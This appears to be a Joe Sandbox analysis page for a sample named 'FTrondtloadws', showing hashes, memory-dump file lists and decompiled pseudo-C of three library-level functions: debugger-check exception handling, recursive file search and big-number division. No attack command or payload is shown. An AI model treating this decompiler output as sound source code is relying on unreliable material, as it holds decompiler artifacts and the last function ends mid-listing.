Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: c2a2c9c5f1046071647d9c3eee202d7acb1dfeeea991be74d4ff101e1a551b5c
Instruction ID: 5174037c4a0d5bf88890d2e5d66c0b997495188623f768fa09ab58e5e76ecdf2
Opcode Fuzzy Hash: c2a2c9c5f1046071647d9c3eee202d7acb1dfeeea991be74d4ff101e1a551b5c
Instruction Fuzzy Hash: 9B018472600109ABDB14DE29DC05BEE7BA9AFD4324F0CC125FE6ADB264D634D9428690

Uniqueness

Uniqueness Score: -1.00%

Function 00CE4E3F Relevance: 4.6, APIs: 3, Instructions: 78
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 79%

			E00CE4E3F(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0xd007a8; // 0x763902cb
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00CE0A56(_t41);
					_pop(_t61);
				}
				E00CE1000(_t66,  &_v804, 0, 0x50);
				E00CE1000(_t66,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x7
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -805
				if(UnhandledExceptionFilter(_t36) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E00CE0A56(_t57);
				}
				return E00CE0BCC(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x00ce4e3f
0x00ce4e3f
0x00ce4e3f
0x00ce4e4a
0x00ce4e4f
0x00ce4e51
0x00ce4e59
0x00ce4e5b
0x00ce4e5e
0x00ce4e63
0x00ce4e63
0x00ce4e6f
0x00ce4e82
0x00ce4e90
0x00ce4e96
0x00ce4e9c
0x00ce4ea2
0x00ce4ea8
0x00ce4eae
0x00ce4eb4
0x00ce4eba
0x00ce4ec0
0x00ce4ec6
0x00ce4ecd
0x00ce4ed4
0x00ce4edb
0x00ce4ee2
0x00ce4ee9
0x00ce4ef0
0x00ce4ef1
0x00ce4efa
0x00ce4f00
0x00ce4f00
0x00ce4f03
0x00ce4f09
0x00ce4f16
0x00ce4f1f
0x00ce4f28
0x00ce4f31
0x00ce4f3f
0x00ce4f41
0x00ce4f47
0x00ce4f56
0x00ce4f62
0x00ce4f65
0x00ce4f6a
0x00ce4f79

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00CE4F37
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00CE4F41
UnhandledExceptionFilter.KERNEL32(-00000325,?,?,?,?,?,00000000), ref: 00CE4F4E

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6b8c170ecd414f4e6f11048162d656a8631bf81c72e8a29a0f1da45d530a017b
Instruction ID: 7d2a942b93d9a8b17e46c4f0982827afb37c8834d7be9d6ee5ed5a09e4dc2dac
Opcode Fuzzy Hash: 6b8c170ecd414f4e6f11048162d656a8631bf81c72e8a29a0f1da45d530a017b
Instruction Fuzzy Hash: 0431B474901229ABCB25DF65DC897DDBBB8BF58310F5042EAE81CA7250E7709F818F85

Uniqueness

Uniqueness Score: -1.00%

Function 00CEC358 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00CEC358(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				union _FINDEX_INFO_LEVELS _t58;
				signed int _t62;
				signed int _t65;
				void* _t71;
				void* _t73;
				signed int _t74;
				void* _t77;
				CHAR* _t78;
				void* _t79;
				intOrPtr* _t82;
				intOrPtr _t84;
				void* _t86;
				intOrPtr* _t87;
				signed int _t91;
				signed int _t95;
				void* _t100;
				signed int _t103;
				union _FINDEX_INFO_LEVELS _t104;
				void* _t105;
				void* _t108;
				void* _t109;
				intOrPtr _t110;
				void* _t111;
				void* _t112;
				signed int _t116;
				void* _t117;
				signed int _t118;
				void* _t119;
				void* _t120;

				_push(__ecx);
				_t82 = _a4;
				_t2 = _t82 + 1; // 0x1
				_t100 = _t2;
				do {
					_t35 =  *_t82;
					_t82 = _t82 + 1;
				} while (_t35 != 0);
				_t103 = _a12;
				_t84 = _t82 - _t100 + 1;
				_v8 = _t84;
				if(_t84 <= (_t35 | 0xffffffff) - _t103) {
					_t5 = _t103 + 1; // 0x1
					_t77 = _t5 + _t84;
					_t109 = E00CEC146(_t84, _t77, 1);
					_t86 = _t108;
					__eflags = _t103;
					if(_t103 == 0) {
						L6:
						_push(_v8);
						_t77 = _t77 - _t103;
						_t40 = E00CF0111(_t86, _t109 + _t103, _t77, _a4);
						_t118 = _t117 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t71 = E00CEC597(_a16, _t100, __eflags, _t109);
							E00CEA4BA(0);
							_t73 = _t71;
							goto L8;
						}
					} else {
						_push(_t103);
						_t74 = E00CF0111(_t86, _t109, _t77, _a8);
						_t118 = _t117 + 0x10;
						__eflags = _t74;
						if(_t74 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00CE5036();
							asm("int3");
							_t116 = _t118;
							_t119 = _t118 - 0x150;
							_t43 =  *0xd007a8; // 0x763902cb
							_v48 = _t43 ^ _t116;
							_t87 = _v32;
							_push(_t77);
							_t78 = _v36;
							_push(_t109);
							_t110 = _v332.cAlternateFileName;
							_push(_t103);
							_v372 = _t110;
							while(1) {
								__eflags = _t87 - _t78;
								if(_t87 == _t78) {
									break;
								}
								_t45 =  *_t87;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t87 = E00CF0160(_t78, _t87);
											continue;
										}
									}
								}
								break;
							}
							_t101 =  *_t87;
							__eflags = _t101 - 0x3a;
							if(_t101 != 0x3a) {
								L19:
								_t104 = 0;
								__eflags = _t101 - 0x2f;
								if(_t101 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t101 - 0x5c;
									if(_t101 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t101 - 0x3a;
										if(_t101 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t89 = _t87 - _t78 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t87 - _t78 + 0x00000001;
								E00CE1000(_t104,  &_v332, _t104, 0x140);
								_t120 = _t119 + 0xc;
								_t111 = FindFirstFileExA(_t78, _t104,  &_v332, _t104, _t104, _t104);
								_t55 = _v336;
								__eflags = _t111 - 0xffffffff;
								if(_t111 != 0xffffffff) {
									_t91 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t91;
									_t92 = _t91 >> 2;
									_v344 = _t91 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E00CEC358(_t92,  &(_v332.cFileName), _t78, _v340);
											_t120 = _t120 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t92 = _v287;
											__eflags = _t92;
											if(_t92 == 0) {
												goto L37;
											} else {
												__eflags = _t92 - 0x2e;
												if(_t92 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 = FindNextFileA(_t111,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t101 =  *_t55;
									_t95 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t95 - _t65;
									if(_t95 != _t65) {
										E00CE7580(_t78, _t101 + _t95 * 4, _t65 - _t95, 4, E00CEC1B0);
									}
								} else {
									_push(_t55);
									_t57 = E00CEC358(_t89, _t78, _t104, _t104);
									L26:
									_t104 = _t57;
								}
								__eflags = _t111 - 0xffffffff;
								if(_t111 != 0xffffffff) {
									FindClose(_t111);
								}
								_t58 = _t104;
							} else {
								__eflags = _t87 -  &(_t78[1]);
								if(_t87 ==  &(_t78[1])) {
									goto L19;
								} else {
									_push(_t110);
									_t58 = E00CEC358(_t87, _t78, 0, 0);
								}
							}
							_pop(_t105);
							_pop(_t112);
							__eflags = _v12 ^ _t116;
							_pop(_t79);
							return E00CE0BCC(_t58, _t79, _v12 ^ _t116, _t101, _t105, _t112);
						} else {
							goto L6;
						}
					}
				} else {
					_t73 = 0xc;
					L8:
					return _t73;
				}
				L40:
			}

0x00cec35d
0x00cec35e
0x00cec361
0x00cec361
0x00cec364
0x00cec364
0x00cec366
0x00cec367
0x00cec371
0x00cec374
0x00cec377
0x00cec37c
0x00cec385
0x00cec388
0x00cec392
0x00cec395
0x00cec396
0x00cec398
0x00cec3ac
0x00cec3ac
0x00cec3af
0x00cec3b9
0x00cec3be
0x00cec3c1
0x00cec3c3
0x00000000
0x00cec3c5
0x00cec3c9
0x00cec3d2
0x00cec3d8
0x00000000
0x00cec3db
0x00cec39a
0x00cec39a
0x00cec3a0
0x00cec3a5
0x00cec3a8
0x00cec3aa
0x00cec3e1
0x00cec3e3
0x00cec3e4
0x00cec3e5
0x00cec3e6
0x00cec3e7
0x00cec3e8
0x00cec3ed
0x00cec3f1
0x00cec3f3
0x00cec3f9
0x00cec400
0x00cec403
0x00cec406
0x00cec407
0x00cec40a
0x00cec40b
0x00cec40e
0x00cec40f
0x00cec430
0x00cec430
0x00cec432
0x00000000
0x00000000
0x00cec417
0x00cec419
0x00cec41b
0x00cec41d
0x00cec41f
0x00cec421
0x00cec423
0x00cec42e
0x00000000
0x00cec42e
0x00cec423
0x00cec41f
0x00000000
0x00cec41b
0x00cec434
0x00cec436
0x00cec439
0x00cec452
0x00cec452
0x00cec454
0x00cec457
0x00cec467
0x00cec469
0x00cec469
0x00cec459
0x00cec459
0x00cec45c
0x00000000
0x00cec45e
0x00cec45e
0x00cec461
0x00000000
0x00cec463
0x00cec463
0x00cec463
0x00cec461
0x00cec45c
0x00cec46f
0x00cec477
0x00cec47b
0x00cec489
0x00cec48e
0x00cec4a3
0x00cec4a5
0x00cec4ab
0x00cec4ae
0x00cec4e0
0x00cec4e0
0x00cec4e2
0x00cec4e5
0x00cec4eb
0x00cec4eb
0x00cec4f2
0x00cec50c
0x00cec50c
0x00cec51b
0x00cec520
0x00cec523
0x00cec525
0x00000000
0x00000000
0x00000000
0x00000000
0x00cec4f4
0x00cec4f4
0x00cec4fa
0x00cec4fc
0x00000000
0x00cec4fe
0x00cec4fe
0x00cec501
0x00000000
0x00cec503
0x00cec503
0x00cec50a
0x00000000
0x00000000
0x00000000
0x00000000
0x00cec50a
0x00cec501
0x00cec4fc
0x00000000
0x00cec527
0x00cec52f
0x00cec535
0x00cec537
0x00cec537
0x00cec53f
0x00cec544
0x00cec54c
0x00cec54f
0x00cec551
0x00cec565
0x00cec56a
0x00cec4b0
0x00cec4b0
0x00cec4b4
0x00cec4bc
0x00cec4bc
0x00cec4bc
0x00cec4be
0x00cec4c1
0x00cec4c4
0x00cec4c4
0x00cec4ca
0x00cec43b
0x00cec43e
0x00cec440
0x00000000
0x00cec442
0x00cec442
0x00cec448
0x00cec44d
0x00cec440
0x00cec4cf
0x00cec4d0
0x00cec4d1
0x00cec4d3
0x00cec4dc
0x00000000
0x00000000
0x00000000
0x00cec3aa
0x00cec37e
0x00cec380
0x00cec3dc
0x00cec3e0
0x00cec3e0
0x00000000

Strings

., xrefs: 00CEC4EB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: ffd1a078dee9ced5e1465f2153bfb7e92ff3874a3562d0caba153eeaf677fd5b
Instruction ID: 7bf23993174b8cada031eb645b4801efdf82668f497f678973ef536f8e4ee39a
Opcode Fuzzy Hash: ffd1a078dee9ced5e1465f2153bfb7e92ff3874a3562d0caba153eeaf677fd5b
Instruction Fuzzy Hash: 8B3107719002886FCB249E7ACCC4EFB7BBDDB85314F1441A8F829C7292E6309E428B50

Uniqueness

Uniqueness Score: -1.00%

Function 00CEE450 Relevance: 3.5, APIs: 2, Instructions: 464
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 90%

			E00CEE450(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffffe9e5
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E00CE01E0(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E00CF31D0(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E00CE0200(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E00CE0200(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0xcefa6d
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E00CF31D0( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E00CECDF1(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E00CECDF1(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E00CECDF1(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x00cee45c
0x00cee45f
0x00cee463
0x00cee46d
0x00cee470
0x00cee472
0x00cee474
0x00cee481
0x00cee481
0x00cee484
0x00cee484
0x00cee487
0x00cee48a
0x00cee48c
0x00cee5bf
0x00cee5c1
0x00cee60a
0x00cee60e
0x00cee614
0x00cee5c3
0x00cee5c5
0x00cee5c8
0x00cee5ca
0x00cee5cd
0x00cee5cf
0x00cee5d1
0x00cee605
0x00cee605
0x00cee605
0x00cee5d3
0x00cee5d8
0x00cee5de
0x00cee5de
0x00cee5e1
0x00cee5e3
0x00cee5e5
0x00000000
0x00000000
0x00cee5e7
0x00cee5e8
0x00cee5eb
0x00cee5ee
0x00cee5f0
0x00000000
0x00cee5f2
0x00000000
0x00cee5f2
0x00000000
0x00cee5f0
0x00cee5f4
0x00cee5fb
0x00cee5ff
0x00cee603
0x00000000
0x00000000
0x00cee603
0x00cee606
0x00cee606
0x00cee608
0x00cee615
0x00cee618
0x00cee61b
0x00cee61e
0x00cee61e
0x00cee622
0x00cee625
0x00cee628
0x00cee62b
0x00cee636
0x00cee62d
0x00cee632
0x00cee632
0x00cee640
0x00cee645
0x00cee648
0x00cee64a
0x00cee654
0x00cee657
0x00cee65e
0x00cee661
0x00cee664
0x00cee66c
0x00cee672
0x00cee672
0x00cee672
0x00cee672
0x00cee664
0x00cee677
0x00cee67e
